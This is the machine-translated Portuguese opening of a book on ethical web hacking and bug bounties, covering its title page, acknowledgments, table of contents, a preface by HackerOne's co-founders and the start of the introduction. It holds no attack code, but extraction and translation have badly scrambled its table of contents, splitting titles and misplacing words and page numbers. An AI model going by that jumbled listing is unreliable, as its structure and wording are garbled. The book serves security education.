Web Hacking 101 - How To Make Money Hacking Ethically by Peter Yaworski Portugues

Machine Translated by Google
Hacking na Web 101

Como ganhar dinheiro hackeando eticamente
Peter Yaworski
Este livro está à venda em http://leanpub.com/web-hacking-101
Esta versão foi publicada em 2018-11-30
Este é um Leanpub livro. Leanpub capacita autores e editores com o processo Lean
Publishing. Publicação enxuta é o ato de publicar um e-book em andamento usando
ferramentas leves e muitas iterações para obter feedback do leitor, girar até ter o livro
certo e criar tração assim que o fizer.
© 2015 - 2018 Peter Yaworski

Tweete este livro!

Ajude Peter Yaworski divulgando este livro no Twitter!
O tweet sugerido para este livro é:
Mal posso esperar para ler Web Hacking 101: How to Make Money Hacking
Ethically por @yaworsk #bugbounty A hashtag sugerida para este livro é
#bugbounty.
Descubra o que outras pessoas estão falando sobre o livro clicando neste link para buscar
esta hashtag no Twitter:
#bugbounty
A Andrea e Ellie, obrigada por apoiarem minha constante montanha-russa de motivação e confiança. Não apenas eu
nunca teria terminado este livro sem você, como minha jornada no hacking nunca teria sequer começado.
À equipe HackerOne, este livro não seria o que é se não fosse por vocês, obrigado por todo o apoio, feedback e trabalho
que vocês contribuíram para tornar este livro mais do que apenas uma análise de 30 divulgações.
Por fim, embora este livro seja vendido por um mínimo de $ 9,99, as vendas a partir do preço sugerido de $ 19,99 me
ajudam a manter o preço mínimo baixo, de modo que este livro permaneça acessível para pessoas que não podem
pagar mais. Essas vendas também me permitem tirar um tempo do hacking para adicionar conteúdo continuamente e
tornar o livro melhor para que todos possamos aprender juntos.
Embora eu desejasse poder listar todos que pagaram mais do que o mínimo para agradecer, a lista seria muito longa e,
na verdade, não conheço nenhum detalhe de contato dos compradores, a menos que eles entrem em contato comigo.
No entanto, há um pequeno grupo que pagou mais do que o preço sugerido ao fazer suas compras, o que realmente
vai longe. Eu gostaria de reconhecê-los aqui. Eles incluem:
1. @Ebrietas0 2.
Comprador misterioso
3. Comprador misterioso
4. @nahamsec (Ben Sadeghipour)
5. Comprador misterioso
6. @Spam404Online 7.
@DanyloD (Danylo Matviyiv)
8. Comprador Misterioso
9. @arneswinnen (Arne Swinnen)
Se você deveria estar nesta lista, por favor me mande uma DM no Twitter.
A todos que adquiriram uma cópia deste, obrigado!

Conteúdo
1. Prefácio . ..... . .... . ..... ..... . .... . ..... . .... . ..... 1
2. Introdução Como . . . . . . . . . . . . . . . ..... . .... . ..... . .... . ..... 3

tudo começou .... . ..... ..... . .... . ..... . .... . ..... 3
Apenas 30 exemplos e minha primeira .... . .... . ..... . .... . ..... 4
. .
venda Para quem este livro foi escrito ..... . .... . ..... . .... . ..... 6
. .Palavra
Visão geral do capítulo . . . . .de. . . ..... . .... . ..... . .... . ..... 7
advertência e um favor . ..... . .... . ..... . .... . ..... 9
3. Antecedentes . . . . . .... . ..... ..... . .... . ..... . .... . ..... 10
4. Descrição das vulnerabilidades de ... ..... . .... . ..... . .... . ..... 13

redirecionamento aberto. ... .. .. .. . . . . . . . . . . . . .... . ..... . .... . ..... 13
Exemplos . . . . . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 14
1. Redirecionamento aberto de instalação do tema . . .... . ..... . .... . ..... 14
Shopify 2. Redirecionamento aberto de login do.Shopify
..... . .... . ..... . .... . ..... 14
3. Redirecionamento intersticial HackerOne .... . .... . ..... . .... . ..... 16
Resumo . . . . . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 17
5. Descrição da Poluição do . ..... ..... . .... . ..... . .... . ..... 19

Parâmetro HTTP . . . . . . . . . . . ..... ..... . .... . ..... . .... . ..... 19
Exemplos . . . . . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 22
1. Botões de compartilhamento social do HackerOne .. . .... . ..... ..... . ..... 22
2. Notificações de cancelamento de assinatura do ... . .... . ..... . .... . .... . 23
Twitter 3. Resumo das intenções da . Web
. . .do. .Twitter
. . .. . . . . .... . ..... . .... . ..... 24
. ..... . .... . ..... ..... . .... . ..... . .... . ..... 27
6. Falsificação de solicitação entre sites . . . .. .. . . . . .... . ..... . .... . ..... 28

Descrição . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 28
Exemplos . . . . . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 32
1. Desconexão do Twitter da Shopify . . ..... . .... . ..... . .... . ..... 32
2. Alterar Zonas do Instacart dos Usuários . . . . . . .... . ..... ..... . ..... 34
3. Resumo de Aquisição de Conta . ..... . .... . ..... . .... . ..... 35
. . .
Completa do Badoo . . . . . . . . . . . . . . . ..... . .... . ..... . .... . ..... 37
CONTEÚDO
7. Injeção de HTML . . . . . . . . . . . . . ..... ..... . ..... . .... . ..... 38

Descrição . . . . . . .... . ..... ..... ..... . ..... . .... . ..... 38
Exemplos . . . . . . . . . . . . . . . . . . ..... ..... . ..... . .... . ..... 38
1. Comentários da Coinbase . . . . . . ..... ..... . ..... . .... . ..... 38
2. Inclusão não intencional de HTML do HackerOne . . . . . ..... ..... . ..... 40
3. Spoofing de conteúdo interno de segurança . . . . . . . . . ..... . .... . .... . 41
Resumo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . .... . ..... 43
8. Injeção de CRLF . . . . . . . . . . . . . . . . . . . . . . . . . ..... . .... . ..... 44

Descrição . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 44
1. Divisão da resposta HTTP do . .... . ..... . .... . ..... 45
. . . . .. . ..
Twitter . . . . 2. Divisão de resposta v.shopify.com ..... . .... . .... . 47
Resumo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . .... . ..... 49
9. Script entre sites . . . . . .....

..... . .... . ..... . .... . ..... 50
Descrição . . . . . . .... . .....
..... . .... . ..... . .... . ..... 50
Exemplos . . . . . . . . .... . .....
..... . .... . ..... . .... . ..... 55
1. Atacado da Shopify 2. .. . .....
..... . .... . ..... . .... . ..... 55
Carrinho de vale-presente da . .....
. .... . .... . ..... . .... . ..... 57
Shopify 3. Formatação de moeda da Shopify.. . . . . . .... . ..... . .... . ..... 59
4. Yahoo Mail Stored XSS . . . . . . . . . . . .... . ..... . .... . ..... 60
5. Google Image Search . . . . . . . . . . . . .... . ..... . .... . ..... 62
6. Google Tagmanager Stored XSS . . . . . .... . ..... . .... . ..... 63
7. United Airlines XSS . . . . . . . . . . . . . .... . ..... . .... . ..... 64
Resumo . . . . . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 69
10. Injeção de modelo . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 70

Descrição . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 70
Injeções de modelo do lado do servidor. . . . . . . .... . ..... . .... . ..... 70
Injeções de modelo do lado do cliente. . . . . . . .... . ..... . .... . ..... 71
Exemplos . . . . . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 72
1. Injeção de Modelo Angular Uber. . . . .... . ..... . .... . .... . 72
2. Injeção de modelo Uber. . . . ..... . .... . ..... . .... . ..... 73
3. Resumo do Rails . . . . . ..... . .... . ..... . .... . ..... 76
. . . .. . . . . . . . . . . . . . . . . . .
Dynamic Render . .... . ..... . .... . ..... 77
11. Injeção de SQL . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 78

Descrição . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 78
Contramedidas . . .... . ..... ..... . .... . ..... . .... . ..... 78
de bancos de dados SQL contra SQLi .. . . . . . .... . ..... . .... . ..... 80
Exemplos . . . . . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 80
1. Drupal SQL Injection. . . . . . . . . . . . .... . ..... . .... . ..... 80
2. Yahoo Sports Blind SQL . . . . . . . . . . .... . ..... . .... . ..... 83
3. Uber Blind SQLi. . . . ..... ..... . .... . ..... . .... . ..... 86
CONTEÚDO
Resumo . . ..... . .... . ..... ..... . .... . ..... . .... . ..... 89
12. Falsificação de solicitação do lado do servidor . .. . .. .

...
.... . ..... . .... . ..... 90
Descrição . . . . . . .... . ..... .....
..... . ..... . .... . ..... 90
Localização da Solicitação . ..... .....
..... . ..... . .... . ..... 90
HTTP Chamando Solicitações GET versus POST . . . ..... . ..... . .... . .... . 91
Exemplos de . . . . . . . . . . . . . . . . . . . ..... . ..... . .... . ..... 91
SSRFs cegos . .... . ..... ..... . .... . ..... . .... . ..... 92
. .
aproveitando SSRF.. . . . . .... . ..... ..... . .... . ..... . .... . ..... 93
1. SSRF da ESEA e consulta de metadados da .... . ..... ..... . ..... 93
AWS 2. DNS SSRF interno do Google 3. Varredura . . .
. . . . . . . . . . . ..... . .... . ..... 94
de portas internas . . . . . ..... . .... . ..... . .... . ..... 98
Resumo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . .... . ..... 100
13. Vulnerabilidade de entidade externa XML. .. . . . . .... . ..... . .... . ..... 101
Descrição . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 101
Exemplos . . . . . . . . . . . . . . . . . . ..... . .... . ..... . .... . ..... 106
1. Leia Acesso ao Google . . . . . ..... . .... . ..... . .... . ..... 106
2. Facebook XXE com Word . . . . ..... . .... . ..... . .... . ..... 107
. . . . . .. . . . . . .
3. Wikiloc XXE Resumo ..... . .... . ..... . .... . ..... 110
. ..... . .... . ..... ..... . .... . ..... . .... . ..... 113
14. Execução Remota de Código . . ..... ..... . .... . ..... . .... . . . . . . 114
Descrição . . . . . . .... . ..... ..... . .... . ..... . .... . . . . . . 114
Exemplos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . .... . . . . . . 114
1. Polyvore ImageMagick. . . . . ..... . .... . ..... . .... . . . . . . 114
2. Algolia RCE em facebooksearch.algolia.com. . . ..... . .... . . . . . . 116
3. Resumo do Foobar Smarty Template . .... . ..... . .... . . . . . . 118
Injection RCE.. . . . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . . . . . . 122
15. Memória . . . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 123
Descrição . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 123
Leitura de estouro . . . . .. ..... ..... . .... . ..... . .... . ..... 123
de buffer fora dos ... ..... ..... . .... . ..... . .... . ..... 124
limites Corrupção de memória. . .. . . . . ..... . .... . ..... . .... . ..... 126
Exemplos . . . . . . . . . . . . . ..... ..... . .... . ..... . .... . ..... 127
1. PHP ftp_genlist() . . . . . . . . . ..... . .... . ..... . .... . ..... 127
2. Python Hotshot Module . . . . ..... . .... . ..... . .... . ..... 128
3. Libcurl Read Out of Bounds . . ..... . .... . ..... . .... . ..... 129
4. PHP Memory Corruption . . . . ..... . .... . ..... . .... . ..... 130
Resumo . . . . . . . . . . . . . . . . . . ..... . .... . ..... . .... . ..... 131
16. Descrição da Aquisição . . . . . . . . . ..... . .... . ..... . .... . ..... 132

de Subdomínio . . . . .. . . . . . . . . . . ..... . .... . ..... . .... . ..... 132
CONTEÚDO
Exemplos . . . . . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 132

1. Subdomínio da Ubiquiti 2. ..... . .... . ..... ..... . ..... 132
Scan.me apontando para o . ..... . .... . ..... . .... . ..... 133
Zendesk 3. Subdomínio do Shopify .... . ..... ..... . ..... 134
Windsor 4. Snapchat Fastly Takeover . . . . . . 5.
.. . .... . ..... . .... . ..... 135
api.legalrobot.com . . . . . . . . . . .. . .... . ..... . .... . ..... 137
6. Aquisição de correio do Uber SendGrid . . . . . . . .... . ..... . .... . ..... 140
Resumo . . . . . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 143
17. Condições de Corrida. . . .... . ..... ..... . .... . ..... . .... . ..... 144
Descrição . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 144
Exemplos . . . . . . . . . . . . . . . . . . ..... . .... . ..... . .... . ..... 146
1. Condições da Corrida da . . ..... . .... . ..... . .... . ..... 146
Starbucks 2. Aceitar convites do HackerOne várias . . ..... ..... . .... . 147
vezes 3. Exceder os limites de convites do Keybase . . . .4.. . . ..... . .... . ..... 150
Pagamentos do HackerOne . . . . . . . . . . . . .... . ..... . .... . ..... 151
Resumo . . ..... . .... . ..... ..... . .... . ..... . .... . ..... 153
18. Descrição das referências de objetos .....

. .... . ..... ..... . ..... 154
diretos inseguros. . . . .. . . . . . . . . . . .....
. .... . ..... . .... . ..... 154
Exemplos . . . . . . . . . . . . . . . . . . .....
. .... . ..... . .... . ..... 155
1. Escalonamento de Privilégios da ....
. .... . ..... . .... . ..... 155
Binary.com 2. Criação de Aplicativo . . . . . . . . .
. .... . ..... . .... . ..... 156
. .. .. .. .
Moneybird 3. Roubo de Token da API Mopub do Twitter . ..... . .... . .... . 158
Resumo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . .... . ..... 160
19. OAuth . . . . . . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 161

Descrição . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 161
Exemplos . . . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 165
1. Passar tokens oficiais de acesso do ... . ..... ..... . ..... 165
Facebook 2. Roubar tokens OAuth. do . . Slack
... . .... . ..... . .... . ..... 166
3. Roubar planilhas do Google Drive . . .... . ..... . .... . ..... 167
Resumo . . . . . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 170
20. Descrição das vulnerabilidades da . ..... . .... . ..... . .... . ..... 171
. .
lógica do aplicativo . . . . . . . . . . . . . . ..... . .... . ..... . .... . ..... 171
Exemplos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .... . ..... 172
1. Ignorar privilégio de administrador da Shopify. . . . . . . . . . ..... . ..... 172
2. Manipulação de Sinal HackerOne. . . . . . . . . . . . . . . . .... . ..... 173
3. Baldes Shopify S3 abertos. . . . . . . . . . . . . . . . . . . . .... . ..... 174
4. Abra os baldes do HackerOne S3 . . . . . . . . . . . . . . . . . . .... . ..... 175
5. Ignorando a autenticação de dois fatores do GitLab 6. . . . . . . . ..... . .... . 177
Divulgação de informações PHP do Yahoo . . . 7.
. .Votação
.. . .... . ..... . .... . ..... 179
HackerOne Hacktivity . . . . . . . .... . ..... . .... . ..... 180
CONTEÚDO
8. Acessando a instalação do Memcache do PornHub . . . . . . . . . . . . . . . . . . 183

. .... . .....
9. Ignorando o resumo das proteções de conta do . . . . . . . . . . . 185
Twitter . . ..... . .... . ..... ..... . .... . ..... . . . . . . . . . . . 186
21. Introdução .. . .... . ..... ..... . .... . ..... . .... . ..... 188
Varredura de porta . . . . . . . . . . . . . ..... . .... . ..... . .... . ..... 188
de enumeração de ..... ..... . .... . ..... . .... . ..... 189
. . . . . . . . .. . .
subdomínio de reconhecimento ..... . .... . ..... . .... . ..... 190
Captura de tela . . . . . . . . . . . ..... . .... . ..... . .... . ..... 190
Descoberta de conteúdo. . . . . . . . . ..... . .... . ..... . .... . ..... 191
Erros anteriores. . . . . . . . . . . . ..... . .... . ..... . .... . ..... 192
Testando o Aplicativo . . . . ..... ..... . .... . ..... . .... . ..... 193
O mapeamento de . . ..... ..... . .... . ..... . .... . ..... 193
. .....
funcionalidade da pilha de tecnologia. ..... . .... . ..... . .... . ..... 194
Encontrando . . ..... ..... . .... . ..... . .... . ..... 195
. . . .
vulnerabilidades Indo além. . . . . . ..... ..... . .... . ..... . .... . ..... 196
Resumo . . . . . . . . . . . . . . . . . . ..... . .... . ..... . .... . ..... 198
22. Relatórios de Vulnerabilidade . . .. . . . . . ..... . .... . ..... . .... . . . . . . 199

Leia as diretrizes de divulgação. . . . . . . . . . . .... . ..... . .... . . . . . . 199
Incluir Detalhes. Em seguida, inclua mais. . . . . . . . .... . ..... . .... . . . . . . 199
Confirme a vulnerabilidade. . . . . . . . . . . . . .... . ..... . .... . . . . . . 200
Mostrar respeito pela empresa. . . ..... . .... . ..... . .... . . . . . . 200
. . ..... . .... . ..... ..... . .... . ..... . .... . . . . . . 202
Recompensas não gritam olá antes de cruzar o . .... . ..... . .... . . . . . . 202
lago Palavras de .despedida
... . .... . ..... ..... . .... . ..... . .... . . . . . . 203
23. ... . ..... . .... . ..... ..... . .... . ..... . .... . ..... 205
Ferramentas . . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 205
. . . . .. .
Burp Suite ZAP Proxy .... . ..... ..... . .... . ..... . .... . ..... 205
Knockpy . . ..... . .... . ..... ..... . .... . ..... . .... . ..... 206
HostileSubBruteforcer ... . ..... ..... . .... . ..... . .... . ..... 206
Sublist3r crt.sh
. . . .. .. .. . . .... . ..... ..... . .... . ..... . .... . ..... 206
. ..... . .... . ..... ..... . .... . ..... . .... . ..... 206
IPV4info. com . . . . . .... . ..... ..... . .... . ..... . .... . ..... 207
SecLists . . . . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 207
XSSHunter . . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 207
sqlmap . . . . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 207
Nmap . . . . . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 208
Testemunha ocular. . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 208
Testemunha. . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 209
Gobuster . . . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 209
Meg. . . . . ..... . .... . ..... ..... . .... . ..... . .... . ..... 209
shodan . . . . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 209
CONTEÚDO
Censys . . . . . . . . . . . . . . ..... ..... . .... . ..... . .... . ..... 210

O que o CMS . . . . . . . . . . . . ..... ..... . .... . ..... . .... . ..... 210
construiu . . ..... . .... . ..... ..... . .... . ..... . .... . ..... 210
... . ..... . .... .
com o Nikto ..... ..... . .... . ..... . .... . ..... 210
Recon's . . ..... . .... . ..... ..... . .... . ..... . .... . ..... 211
GitRob . . . . . . . . . . . . . . ..... ..... . .... . ..... . .... . ..... 211
CyberChef . . . . . . . . . . . . ..... ..... . .... . ..... . .... . ..... 211
OnlineHashCrack. com . . . .
..... ..... . .... . ..... . .... . ..... 212
. . . . . . .Bucket
idb Wireshark . . . . Finder
. .... . ..... ..... . .... . ..... . .... . ..... 212
Corrida na Web . . . Google
... . .... . ..... ..... . .... . ..... . .... . ..... 212
Dorks JD GUI Mobile . . . . Security
. .... . ..... ..... . .... . ..... . .... . ..... 212
Framework Ysoserial . . . . Firefox
. .... . ..... ..... . .... . ..... . .... . ..... 212
Plugins . . . .... . .... . ..... ..... . .... . ..... . .... . ..... 213
... . ..... . .... . ..... ..... . .... . ..... . .... . ..... 213
.
..... ..... . .... . ..... . .... . ..... 213
. . ..... . .... . ..... ..... . .... . ..... . .... . ..... 213
. .... . ..... ..... . .... . ..... . .... . ..... 214
FoxyProxy . . . . . . . . . . ..... ..... . .... . ..... . .... . ..... 214
Agente do usuário .. .
..... ..... . .... . ..... . .... . ..... 214
Switcher Firebug . . .. .. .. . . .
..... ..... . .... . ..... . .... . ..... 214
Hackbar . . . . . . . . . . . ..... ..... . .... . ..... . .... . ..... 214
Websecurify . . . . . . . . ..... ..... . .... . ..... . .... . ..... 214
Gerenciador de cookies+ . . . . . ..... ..... . .... . ..... . .... . ..... 215
XSS ..... . .... . ..... ..... . .... . ..... . .... . ..... 215
Me Offsec Exploit-db ..... ..... . .... . ..... . .... . ..... 215
. . .. .. .. . . . . . .
Pesquisa Wappalyzer ..... . .... . ..... . .... . ..... 215
24. Recursos . ..... . .... . ..... ..... . .... . ..... . .... . ..... 216
Treinamento Online . . .. . . . . . . . . . . ..... . .... . ..... . .... . ..... 216
Explorações e defesas de aplicativos da Web O . . .... . ..... . .... . ..... 216
. . .Udacity
banco de dados de exploração . . . . . . . .. .. .. . . . .... . ..... . .... . ..... 216
. .... . ..... ..... . .... . ..... . .... . ..... 216
Bug Bounty Platforms . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 216
Hackerone.com . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 216
bugcrowd. com . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 217
Synack. com . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 217
Cobalt.io . . . . . .... . ..... ..... . .... . ..... . .... . ..... 217
Tutoriais em . . .... . ..... ..... . .... . ..... . .... . ..... 217
vídeo youtube.com/yaworsk1. .. . . . . . . . . . .... . ..... . .... . ..... 217
Seccasts. com . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 217
Como filmar a .... . ..... ..... . .... . ..... . .... . ..... 217
leitura adicional da Web. . . . . . . . . . . . . . . . .
. . .... . ..... . .... . ..... 218
OWASP. com . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 218
CONTEÚDO
Hackerone.com/hacktivity . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 218
https://bugzilla.mozilla.org . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 218
Twitter #infosec e #bugbounty. . . . . . . . . . . . . . . . . . . . . . . . . . 218
Twitter @diclosedh1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 218
Manual de Hackers de Aplicações Web . . . . . . . . . . . . . . . . . . . . . . . . . 218
Metodologia de Caçadores de Bugs . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . 219
Blogues recomendados. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219
philippeharewood. com . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219
Página do Philippe no Facebook - www.facebook.com/phwd-113702895386410.219
fin1te.net . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219
NahamSec. com . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219
blog.it-securityguard.com . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220
. . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . 220
blog.innerht.ml . blog.orange.tw
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220
Blog do Portswigger. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220
Blog Nvisium. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220
blog.zsec.uk . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220
brutelogic.com.br . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220
lcamtuf.blogspot.ca . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221
Blog da multidão de bugs. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221
Blog HackerOne. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221
Folhas de dicas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221
25. Glossário . . . . . . . . .... . ..... ..... . .... . ..... . .... . ..... 222
Programa de recompensa . . . . . . . . . . ..... . .... . ..... . .... . ..... 222
de bug de estouro de . .... . ..... ..... . .... . ..... . .... . ..... 222
buffer de hackers de chapéu preto. . . . . . . .
..... . .... . ..... . .... . ..... 222
Relatório de erro . . . . . . . . . . . . . . ..... . .... . ..... . .... . ..... 222
Injeção CRLF. . . . . . . . . . . . ..... . .... . ..... . .... . ..... 222
Falsificação de solicitação entre sites. . . . . . . . . . .... . ..... . .... . ..... 223
Cross Site Scripting. . . . . . . . . . . . . . . .... . ..... . .... . ..... 223
Injeção HTML. .... . ..... ..... . .... . ..... . .... . ..... 223
Poluição do parâmetro .... ..... . .... . ..... . .... . ..... 223
HTTP Divisão da resposta HTTP . . .. .. .. . . . .... . ..... . .... . ..... 223
Corrupção de Memória. . . . . . . . . . . . . . .... . ..... . .... . ..... 223
Abra o teste de . . .... . ..... ..... . .... . ..... . .... . ..... 224
penetração de redirecionamento. .. . . . . . . . . . . . . .... . ..... . .... . ..... 224
Equipe de .. . .... . ..... ..... . .... . ..... . .... . ..... 224
Resposta de . .... . ..... ..... . .... . ..... . .... . ..... 224
Pesquisadores Vulnerabilidade . . . . . . . . . . . . .... . ..... . .... . ..... 224
. . . . ... . . . . . . . . . . .
de Divulgação Responsável . .... . ..... . .... . ..... 224
Divulgação de Vulnerabilidade de .... ..... . .... . ..... . .... . ..... 225
Coordenação de Vulnerabilidade . . . . . . . . . . . . .... . ..... . .... . ..... 225
CONTEÚDO
Hacker de Chapéu Branco .... . ..... ..... . .... . ..... . .... . ..... 225
26. Apêndice A - Take Away . . . . . . . ..... . .... . ..... . .... . ..... 226
Redirecionamentos ... . .... . ..... ..... . .... . ..... . .... . ..... 226
abertos Poluição de parâmetros . . .......... . .... . ..... . .... . ..... 227
HTTP Falsificação de solicitação entre sites . .. . . .
..... . .... . ..... . .... . ..... 227
Injeção HTML. . . . .... . ..... ..... . .... . ..... . .... . ..... 228
Injeções CRLF. . . . .... . ..... ..... . .... . ..... . .... . ..... 229
Script entre sites. .... . ..... ..... . .... . ..... . .... . ..... 229
SSTI . . . . . . . . . . . . . . . . . . . . . ..... . .... . ..... . .... . ..... 231
Injeção SQL . . . . . .... . ..... ..... . .... . ..... . .... . ..... 232
Falsificação de solicitação do lado do servidor. . . . . .
..... . .... . ..... . .... . ..... 232
Vulnerabilidade de Entidade Externa XML. . . . . . . . . .... . ..... . .... . ..... 233
Memória de Execução .. . ..... ..... . .... . ..... . .... . ..... 234
. . . .. . . . . . . . . . . . . . . . . . .
Remota de Código . .... . ..... . .... . ..... 235
Condições de corrida de .... . ..... ..... . .... . ..... . .... . ..... 236
aquisição de subdomínio .. . .... . ..... ..... . .... . ..... . .... . ..... 237
Referências de objeto direto inseguras . . ..... . .... . ..... . .... . ..... 238
OAuth . . . . . . . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 239
Vulnerabilidades da lógica do aplicativo . . . . . . . . . .... . ..... . .... . ..... 240
27. Apêndice B - Web Hacking 101 Changelog . .... . ..... . .... . .... . 242
1. Prefácio
A melhor forma de aprender é simplesmente fazendo. Foi assim que nós - Michiel Prins e Jobert Abma -
aprendemos a hackear.
Nós somos jovens. Como todos os hackers que vieram antes de nós e todos os que virão depois, éramos
movidos por uma curiosidade incontrolável e ardente de entender como as coisas funcionavam. Estávamos
principalmente jogando jogos de computador e, aos 12 anos, decidimos aprender a criar nosso próprio
software. Aprendemos a programar em Visual Basic e PHP com livros da biblioteca e prática.
De nossa compreensão do desenvolvimento de software, descobrimos rapidamente que essas habilidades

nos permitiam encontrar erros de outros desenvolvedores. Mudamos de construir para quebrar e hackear tem
sido nossa paixão desde então. Para comemorar nossa formatura do ensino médio, assumimos o canal de
transmissão de uma emissora de TV para veicular um anúncio parabenizando nossa turma de formandos.
Embora divertido na época, aprendemos rapidamente que há consequências e que esse não é o tipo de
hacker de que o mundo precisa. A estação de TV e a escola não achavam graça e passávamos o verão
lavando janelas como castigo. Na faculdade, transformamos nossas habilidades em um negócio de consultoria
viável que, em seu auge, tinha clientes no setor público e privado em todo o mundo. Nossa experiência com
hackers nos levou à HackerOne, uma empresa que cofundamos em 2012. Queríamos permitir que todas as
empresas do universo trabalhassem com hackers com sucesso e essa continua sendo a missão da HackerOne
até hoje.
Se você está lendo isso, também tem a curiosidade necessária para ser um hacker e caçador de bugs.
Acreditamos que este livro será um excelente guia ao longo de sua jornada. Ele está repleto de exemplos
ricos e reais de relatórios de vulnerabilidade de segurança que resultaram em recompensas de bugs reais,
juntamente com análises e análises úteis de Pete Yaworski, o autor e também hacker.
Ele é seu companheiro enquanto você aprende, e isso é inestimável.
Outra razão pela qual este livro é tão importante é que ele se concentra em como se tornar um hacker ético.
Dominar a arte de hackear pode ser uma habilidade extremamente poderosa que esperamos que seja usada
para o bem. Os hackers mais bem-sucedidos sabem como navegar na linha tênue entre o certo e o errado
durante o hacking. Muitas pessoas podem quebrar coisas e até tentar ganhar dinheiro rápido fazendo isso.
Mas imagine que você pode tornar a Internet mais segura, trabalhar com empresas incríveis em todo o mundo
e até ser pago ao longo do caminho. Seu talento tem o potencial de manter bilhões de pessoas e seus dados
seguros. É isso que esperamos que você aspire.
Somos imensamente gratos a Pete por dedicar seu tempo para documentar tudo isso de forma tão eloquente.
Gostaríamos de ter esse recurso quando estávamos começando. O livro de Pete é uma alegria de ler com as
informações necessárias para iniciar sua jornada de hacking.
Prefácio 2
Boa leitura e feliz hacking!
Lembre-se de hackear com responsabilidade.
Michiel Prins e Jobert Abma, cofundadores da HackerOne

2. Introdução
Obrigado por adquirir este livro, espero que você se divirta lendo-o tanto quanto eu me diverti pesquisando e escrevendo.
Web Hacking 101 é meu primeiro livro, destinado a ajudá-lo a começar a hackear. Comecei a escrever isso como uma
explicação autopublicada de 30 vulnerabilidades, um subproduto de meu próprio aprendizado. Rapidamente se
transformou em muito mais.
Minha esperança para o livro, no mínimo, é abrir seus olhos para o vasto mundo do hacking.
Na melhor das hipóteses, espero que este seja o seu primeiro passo para tornar a web um lugar mais seguro e, ao mesmo
tempo, ganhar algum dinheiro com isso.
Como tudo começou
No final de 2015, me deparei com o livro We Are Anonymous: Inside the Hacker World of LulzSec, Anonymous and the
Global Cyber Insurgency de Parmy Olson e acabei lendo em uma semana. Tendo terminado, porém, fiquei me
perguntando como esses hackers começaram.
Eu estava com sede de mais, mas não queria apenas saber O QUE os hackers faziam, eu queria saber COMO os hackers
faziam. Então continuei lendo. Mas cada vez que eu terminava um novo livro, ainda ficava com as mesmas perguntas:
• Como outros hackers ficam sabendo das vulnerabilidades que encontram? • Onde as
pessoas encontram vulnerabilidades? • Como os hackers iniciam o processo de invasão
de um site de destino? • Hackear é apenas usar ferramentas automatizadas? • Como
posso começar a encontrar vulnerabilidades?
Mas buscando mais respostas, fui abrindo mais e mais portas.
Na mesma época, eu estava fazendo cursos de desenvolvimento do Coursera para Android e de olho em outros cursos
interessantes. A especialização Coursera Cybersecurity me chamou a atenção, principalmente o Course 2, Software
